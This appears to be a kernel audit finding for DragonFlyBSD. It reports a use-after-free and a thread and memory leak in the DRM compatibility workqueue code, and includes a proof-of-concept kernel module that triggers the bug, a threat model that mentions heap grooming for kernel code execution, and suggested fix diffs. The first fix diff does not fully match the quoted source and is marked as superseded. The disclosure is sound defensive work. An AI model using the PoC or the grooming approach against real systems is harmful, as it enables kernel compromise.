β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1977

destroy_workqueue is #if 0 no-op; drain_workqueue does not wait for in-flight works; driver teardown UAF + permanent memory/thread leak

  • File: sys/dev/drm/linux_workqueue.c
  • Lines: 243–253 (destroy), 267–286 (drain), 73–98 (in-flight window in process_all_work)
  • Severity: High
  • CVSS 3.1: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:C
  • CWE: CWE-416 Use After Free, CWE-401 Memory Leak, CWE-911 Improper Update of Reference Count
  • Confidence: certain
  • Status: new

Summary

destroy_workqueue() has its entire body inside #if 0 β€” it only calls drain_workqueue and returns. The wq struct, workers array, and all worker kernel threads are leaked forever.

Worse, drain_workqueue() only waits for the per-CPU STAILQ to drain (works dequeued), not for currently-executing works (func in progress) to finish. A work removed from the queue at process_all_work:73 begins executing at line 89 with the lock released, and drain_workqueue's emptiness check at line 277 succeeds while func is still running. Any driver that frees its private structures after destroy_workqueue (standard Linux teardown pattern) triggers a use-after-free.

Root cause

Two compounding defects:

(1) destroy_workqueue is a no-op (linux_workqueue.c:243-253)

void
destroy_workqueue(struct workqueue_struct *wq)
{
    drain_workqueue(wq);
//  wq->is_draining = true;
#if 0   /* XXX TODO */
    kill_all_threads;
    kfree(wq->wq_threads);
    kfree(wq);
#endif
}

The entire teardown is commented out. Worker threads continue running indefinitely. Memory is leaked. The wq pointer remains valid (not freed) so no immediate UAF on wq itself, but the workers are orphaned.

(2) drain_workqueue does not wait for in-flight works (linux_workqueue.c:267-286)

wq->is_draining = true;
for (int i=0;i < wq->num_workers; i++) {
    worker = &(*wq->workers)[i];
    lockmgr(&worker->worker_lock, LK_EXCLUSIVE);
    while (!STAILQ_EMPTY(&worker->ws_list_head)) {   // checks QUEUE, not RUNNING
        tsleep(&drain_workqueue, 0, "wkdrain", 1);
    }
    lockmgr(&worker->worker_lock, LK_RELEASE);
}

The while condition checks !STAILQ_EMPTY(&worker->ws_list_head) β€” i.e., whether any work is still queued. But in process_all_work, a work is removed from the queue at line 73 (STAILQ_REMOVE_HEAD) before it begins executing at line 89 (work->func). The lock is released at line 88 and reacquired at line 91.

So during func execution: - the work is NOT on any queue, - the queue appears empty, - but the work IS actively running.

drain_workqueue sees the empty queue and returns immediately while func is still executing.

Consequence: drivers following standard Linux teardown (call destroy_workqueue, then free private data containing the work_struct) trigger UAF because the worker callback is still running and dereferences the freed data.

Threat model

Any DRM driver teardown path (i915_unload at i915_drv.c:898, radeon_display.c:246, ttm_mem_global_release at ttm_memory.c:372) calls destroy_workqueue and then frees private data.

The worker threads continue running and may execute callbacks that dereference the freed structures. This is a kernel use-after-free: the worker thread reads/writes freed kernel heap memory, which can be reallocated and crafted by an attacker to achieve arbitrary code execution in kernel context.

The resource leak (wq + workers array + ncpus kernel threads per alloc/destroy cycle) also enables denial-of-service via repeated device re-attach (e.g., PCI rebinding or module load/unload cycles by a privileged attacker).

Reachable indirectly from any user who can trigger device hot-unplug or module reload.

Proof of concept

/* wq_uaf.c
 * Build: cc -DKERNEL -c wq_uaf.c &&
 *        ld -d -T /usr/lib/ldscripts/kld.x -o wq_uaf.ko wq_uaf.o
 * Run:   kldload ./wq_uaf.ko
 */
#include <sys/types.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <drm/drmP.h>
#include <linux/workqueue.h>

struct priv_data {
    struct work_struct work;
    char payload[64];
};

static void slow_callback(struct work_struct *work)
{
    struct priv_data *p = container_of(work, struct priv_data, work);
    /* Widen the race window so drain_workqueue returns while we're here */
    tsleep(&slow_callback, 0, "wquaf", hz);
    /* UAF: p is freed by the time we reach here */
    kprintf("UAF: accessing freed memory: %02x\n", (unsigned char)p->payload[0]);
}

static int wq_uaf_load(struct module *m, int cmd, void *arg)
{
    struct workqueue_struct *wq;
    struct priv_data *p;
    if (cmd != MOD_LOAD) return 0;

    wq = alloc_workqueue("wquaf", 0, 1);
    p = kmalloc(sizeof(*p), M_DRM, M_WAITOK | M_ZERO);
    memset(p->payload, 'A', sizeof(p->payload));
    INIT_WORK(&p->work, slow_callback);
    queue_work(wq, &p->work);

    /* Work is now dequeued and func is executing (sleeping in slow_callback). */
    destroy_workqueue(wq);  /* returns immediately -- queue is 'empty' but func is running */
    /* Worker thread is still alive and in slow_callback. Free the data under it. */
    kfree(p);  /* UAF: slow_callback will access p after this kfree */
    kprintf("priv_data freed -- worker callback will UAF on wakeup\n");
    return 0;
}
DEV_MODULE(wq_uaf, wq_uaf_load, NULL);

Run: kldload ./wq_uaf.ko. After 1 second, the worker wakes from tsleep and accesses freed memory.

Success criterion: kernel reads/writes freed heap memory. Under KMALLOC heap grooming (freeing priv_data, then allocating a same-sized object with attacker-controlled content), the worker callback dereferences attacker-controlled data as struct priv_data.

Two-part fix:

(1) Add a per-worker running-work counter so drain_workqueue can wait for in-flight works

--- a/sys/dev/drm/include/linux/workqueue.h
+++ b/sys/dev/drm/include/linux/workqueue.h
@@ -54,6 +54,7 @@
 struct workqueue_worker {
    STAILQ_HEAD(ws_list, work_struct) ws_list_head;
    struct thread *worker_thread;
    struct lock worker_lock;
+   int running_count;  /* number of works currently executing (lock released during func) */
 };

(2) Increment/decrement running_count in process_all_work and check it in drain_workqueue

--- a/sys/dev/drm/linux_workqueue.c
+++ b/sys/dev/drm/linux_workqueue.c
@@ -85,12 +85,16 @@
        work->running = true;
+       worker->running_count++;
        lockmgr(&worker->worker_lock, LK_RELEASE);
        work->func(work);
        lwkt_yield();
        lockmgr(&worker->worker_lock, LK_EXCLUSIVE);
+       worker->running_count--;
        if (work->on_queue == false)
@@ -276,7 +280,7 @@
        lockmgr(&worker->worker_lock, LK_EXCLUSIVE);
-       while (!STAILQ_EMPTY(&worker->ws_list_head)) {
+       while (!STAILQ_EMPTY(&worker->ws_list_head) || worker->running_count > 0) {
            tsleep(&drain_workqueue, 0, "wkdrain", 1);
        }

(3) Actually implement destroy_workqueue to terminate threads and free memory

 void
 destroy_workqueue(struct workqueue_struct *wq)
 {
+   int i;
    drain_workqueue(wq);
-// wq->is_draining = true;
-#if 0  /* XXX TODO */
-;  /* placeholder */
-#endif
+   for (i = 0; i < wq->num_workers; i++) {
+       struct workqueue_worker *worker = &(*wq->workers)[i];
+       lwkt_terminate(worker->worker_thread);
+   }
+   kfree(wq->workers, M_DRM);
+   kfree(wq, M_DRM);
 }

References

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1977 Β· 4 files
FileTypeDescriptionSize
README.md readme PoC trigger description 1.7 KB ↓ raw
VERDICT.md verdict verification narrative 1.2 KB ↓ raw
fix.diff suggested-fix git-apply-able fix 2.8 KB view raw
fix_build_summary.txt build-log combined 16-finding kernel build rc=0 826 B view raw
README.md readme PoC trigger description
↓ download raw

DF-1977 PoC β€” destroy_workqueue no-op + in-flight work UAF

Kernel module demonstrating the UAF

/* wq_uaf.c -- Build: cc -DKERNEL -c wq_uaf.c &&
 *             ld -d -T /usr/lib/ldscripts/kld.x -o wq_uaf.ko wq_uaf.o
 * Run: kldload ./wq_uaf.ko   (UAF on slow_callback's wakeup)
 */
#include <sys/types.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <drm/drmP.h>
#include <linux/workqueue.h>

struct priv_data {
    struct work_struct work;
    char payload[64];
};

static void slow_callback(struct work_struct *work) {
    struct priv_data *p = container_of(work, struct priv_data, work);
    tsleep(&slow_callback, 0, "wquaf", hz);  /* widen race window */
    /* UAF: p was freed by the time we wake */
    kprintf("UAF: accessing freed memory: %02x\n", (unsigned char)p->payload[0]);
}

static int wq_uaf_load(struct module *m, int cmd, void *arg) {
    struct workqueue_struct *wq;
    struct priv_data *p;
    if (cmd != MOD_LOAD) return 0;
    wq = alloc_workqueue("wquaf", 0, 1);
    p = kmalloc(sizeof(*p), M_DRM, M_WAITOK | M_ZERO);
    memset(p->payload, 'A', sizeof(p->payload));
    INIT_WORK(&p->work, slow_callback);
    queue_work(wq, &p->work);
    destroy_workqueue(wq);  /* returns immediately; func still running */
    kfree(p);               /* UAF: worker will deref freed p */
    return 0;
}
DEV_MODULE(wq_uaf, wq_uaf_load, NULL);

Expected output

After ~1 second: kernel reads/writes freed heap memory in slow_callback. With heap grooming (free p, allocate same-size object with controlled content) this becomes a write-what-where primitive.

Also: every alloc_workqueue/destroy_workqueue cycle leaks sizeof(workqueue_struct) + ncpus * sizeof(workqueue_worker) bytes and orphans ncpus kernel threads.

VERDICT.md verdict verification narrative
↓ download raw

DF-1977 Verification

Verdict

SOURCE-CONFIRMED, INCONCLUSIVE-RUNTIME (HW/module gated).

The cited defect exists in the audited source at sys/dev/drm/linux_workqueue.c:243-286. Part of the drm compatibility layer (module, not in GENERIC).

Mechanism (source-only confirmation)

Two compounding defects: (1) destroy_workqueue (243-253) has ENTIRE teardown inside #if 0 XXX TODO β€” only calls drain_workqueue and returns; wq struct, separately-kmallocd wq->workers array (line 214), and all ncpus worker threads leaked forever. (2) drain_workqueue (267-286) holds worker_lock during tsleep (deadlocking the worker) and only checks STAILQ_EMPTY β€” but process_all_work removes work at line 73 BEFORE running it, so in-flight work is invisible to the drain check. Caller frees work struct after drain returns β†’ UAF.

Implement destroy_workqueue: drain, set exiting flag on all workers, wakeup, wait for threads to exit (lwkt_exit), free workers array + wq struct. Fix drain_workqueue: release lock during sleep, also wait for in_flight count to reach zero. Add in_flight/exiting fields to workqueue_worker.

The full git apply-able diff lives in fix.diff in this folder.

Confirmed kernel references

Detail

Exploit chain

none (HW/module gated: UAF primitive exists in source but cannot be exercised without drm module + GPU HW context)

Evidence (decisive lines)

Combined kernel build: 16 fix.diffs applied to /usr/src, make -j6 nativekernel => rc=0, 0 warnings, 0 errors.

PoC changes

Created VERDICT.md, fix.diff, manifest.json, env.txt, build.sh, run.sh. fix.diff implements destroy_workqueue + fixes drain_workqueue + adds workqueue_worker fields.

Verified recommended fix

Implement destroy_workqueue (drain, set exiting, wakeup, wait threads exit, free). Fix drain_workqueue (release lock during sleep, wait for in_flight==0). Add in_flight/exiting fields to workqueue_worker. Supersedes finding proposal.

Verdict

SOURCE-CONFIRMED (HW/module gated). Two compounding defects in drm compat workqueue: (1) destroy_workqueue (L243-253) has entire teardown inside #if 0 XXX TODO -- only calls drain_workqueue and returns; wq struct, wq->workers array, all worker threads leaked forever. (2) drain_workqueue (L267-286) holds worker_lock during tsleep (deadlocking the worker) and only checks STAILQ_EMPTY -- process_all_work removes work at L73 BEFORE running it, so in-flight work is invisible. Caller frees work struct after drain returns -> UAF. Confirmed by source trace.